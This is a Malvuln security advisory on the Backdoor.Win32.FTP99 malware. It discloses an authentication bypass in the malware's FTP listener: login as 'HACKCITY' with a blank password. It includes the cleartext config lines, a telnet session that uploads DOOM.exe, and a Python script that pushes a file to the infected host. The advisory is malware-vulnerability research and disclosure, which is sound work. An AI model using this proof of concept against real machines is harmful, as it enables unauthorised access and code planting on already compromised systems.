Backdoor.Win32.FTP99 Authentication Bypass

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.FTP99  
Vulnerability: Authentication Bypass Race Condition  
Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY".  
  
"Serv-u.ini"  
  
[USER=hackcity]  
Password=  
HomeDir=c:\  
AlwaysAllowLogin=YES  
  
Type: PE32  
MD5: 09dd14d3988e08a56798b1480c55a5b0  
Vuln ID: MVID-2022-0465  
Dropped files: Windll16.exe  
Disclosure: 01/24/2022  
  
Exploit/PoC:  
telnet.exe x.x.x.x 1492  
220-Serv-U FTP-Server v2.3b for WinSock ready...  
220 0wn3d  
230 User HACKCITY logged in   
HELP   
214- The following commands are recognized (* => unimplemented).   
USER PORT RETR ALLO DELE SITE XMKD CDUP   
PASS PASV STOR REST CWD STAT RMD XCUP   
ACCT TYPE APPE RNFR XCWD HELP XRMD STOU   
REIN STRU SMNT RNTO LIST NOOP PWD SIZE   
QUIT MODE SYST ABOR NLST MKD XPWD MDTM   
214 Serv-U, registered to: Data Case   
SYST   
215 UNIX Type: L8   
PASV   
227 Entering Passive Mode (192,168,18,129,206,190)   
STOR DOOM.exe   
150 Opening ASCII mode data connection for DOOM.exe.   
STOR DOOM.exe   
226 Transfer complete - file DOOM.exe received successfully  
  
  
from socket import *  
  
MALWARE_HOST="192.168.18.129"  
PORT=52926  
DOOM="DOOM.exe"  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
f = open(DOOM, "rb")  
EXE = f.read()  
s.send(EXE)  
  
while EXE:  
s.send(EXE)  
EXE=f.read()  
  
s.close()  
  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`